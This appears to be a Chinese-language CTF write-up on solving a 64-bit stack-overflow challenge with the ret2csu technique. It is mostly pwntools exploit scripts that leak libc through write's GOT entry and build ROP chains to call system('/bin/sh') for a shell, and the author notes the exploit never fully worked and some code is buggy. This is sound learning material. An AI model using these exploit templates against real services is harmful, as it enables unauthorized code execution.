起因是这样的,跟一个pwn师傅聊天的时候,他发给我了一道题,说很有意思,我就打开来看了看
main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "welcome~\n", 9uLL);
  vul();
  return 0;
}

vul函数

ssize_t vul()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x100uLL);
}

就这?
我他妈直接ret2csu
先写一下原理吧,到时候复习比较方便

ret2csu

__libc_csu_init

重点关注这个函数
为啥呢,因为它里面有很好的gadget

我们知道在64位环境下,前六个参数是由寄存器来传递的,分别是rdi rsi rdx rcx r8 r9
那我们看这两个片段
第一个是pop片段

.text:000000000040060A                 pop     rbx
.text:000000000040060B                 pop     rbp
.text:000000000040060C                 pop     r12
.text:000000000040060E                 pop     r13
.text:0000000000400610                 pop     r14
.text:0000000000400612                 pop     r15
.text:0000000000400614                 retn

这一串pop和retn分别打到了寄存器上然后还能retn,但是我们需要的是那六个寄存器,但是看前一个片段

.text:00000000004005F0                 mov     rdx, r13
.text:00000000004005F3                 mov     rsi, r14
.text:00000000004005F6                 mov     edi, r15d
.text:00000000004005F9                 call    qword ptr [r12+rbx*8]

我们可以利用这个来调整寄存器这样edi,rsi,rdx前三个寄存器便可以由我们来控制了

利用

我们看ctfwiki

然后wiki给了一个几乎万能的exp

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

这个来泄漏libc是通过write函数,难度上来说比puts要更难了
思路就是先泄漏libc,然后劫持read函数,向bss段上写入/bin/sh,和system之类的系统函数,然后劫持程序流到bss段拿shell

解题

那我们直接照抄exp就好了,反正大同小异(打脸

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

elf = ELF('./pwn2')
p = process('./pwn2')
#libc = ELF("./libc-2.23.so")

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
print(hex(main_addr))
bss_base = elf.bss()
csu_front_addr = 0x4005F0
#csu_end_addr = 0x40060A
csu_end_addr = 0x40060A

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a' * 0x88
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(main_addr)
    p.send(payload)
    sleep(1)

p.recvuntil('welcome~\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(p.recv(8))
gdb.attach(p)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print(hex(libc_base))
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

'''
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
print('libcbase ----> ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
'''


payload = b'a' * 0x88
payload += p64(0x40060A) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_base) + p64(0)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(main_addr)

p.recvuntil('~\n')
p.send(payload)

p.send(p64(execve))
p.send('/bin/sh\0')
sleep(1)
#p.send(p64(execve) + b'/bin/sh\x00')

想象是美好的,但是很快就发现了问题
程序根本无法跳转到main函数,思考了好久就是没想通
后来经过师傅提醒发现payload长度超了
只允许read 0x100个字节,那我们只好缩减payload
经过调试发现rbx寄存器本来就是0,所以我们可以省略p64(rbx),结果发现长度正好为0x100
然后第二次向bss写数据的时候就又不行了,这个时候rbx就不是0了
所以换个思路,就用普通栈溢出的思路,找到binsh和system的地址,直接执行
由于我本地的环境有很大问题,LibcSearcher不准,每次偏移都差0x1000,我通过gdb的magic找到了system的地址,但是实在找不到binsh的地址了,所以就此作罢,但是理论上是绝对可以打通的
我贴一下最后的exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

elf = ELF('./pwn2')
p = process('./pwn2')
#libc = ELF("./libc-2.23.so")

write_got = elf.got['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']
print(hex(main_addr))
bss_base = elf.bss()
csu_front_addr = 0x4005F0
#csu_end_addr = 0x40060A
csu_end_addr = 0x40060B

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a' * 0x88
    payload += p64(csu_end_addr) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(main_addr)
    p.send(payload)
    sleep(1)

p.recvuntil('welcome~\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(p.recv(8))
gdb.attach(p)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print(hex(libc_base))
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

'''
libc = ELF('./libc-2.23.so')
libc_base = write_addr - libc.symbols['write']
print('libcbase ----> ' + hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
'''
p.recvuntil('~\n')
payload = b'a' * 0x88

pop_ret = 0x400613
payload += p64(pop_ret) + p64(binsh) + p64(system)
print("binsh -----> " + hex(binsh))
print("system -----> " + hex(system))
p.sendline(payload)
p.interactive()

然后贴一下我魔改了师傅的exp

from pwn import  *
from LibcSearcher import LibcSearcher

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + 0x3f550 - 0x1000
		wrong = base + libc.dump('system')
		print(hex(wrong))
		binsh = base + libc.dump('str_bin_sh')
		print('str 的偏移为 : ' + hex(libc.dump('str_bin_sh')))
		print('system 的偏移为 :' + hex(libc.dump('system')))

	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()

	return (system,binsh,base)

def csu(rbx, rbp, r12, r13, r14, r15, last):
	# pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    # or csu(0,1,got_write,1,got_write,8,main) The csu functions of different programs need to be analyzed concretely
    payload = b'a' * 0x88
    payload += p64(gadget_pop)  + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(gadget_call)
    payload += b'a' * 0x38
    payload += p64(last)
    p.send(payload)
    return payload


s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\0'))
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './pwn2'
context.binary = binary
elf = ELF(binary,checksec=False)


def dbg():
	gdb.attach(p)
	pause()


p = process(binary)
#p = remote("47.95.195.235",44002)
#libc = ELF("./libc-2.23.so")
main = 0x400587
gadget_pop = 0x40060B
gadget_call =0x4005F0
got_write = elf.got['write']

p.recvuntil('\n')
csu(0,1,got_write,8,got_write,1,main)
gdb.attach(p)

#ru("welcome~\n")

write_addr = uu64(r(6))
print('write ---> ' + hex(write_addr))
system,binsh,base = ret2libc(write_addr,'write','')
print('system ----> ' + hex(system))
print('binsh ----> ' + hex(binsh))
print(hex(base))

pop_ret = 0x400613

payload3 = b'a' * 136 + p64(pop_ret) + p64(binsh) + p64(system)
sla("welcome~\n",payload3)
itr()

orz
wtcl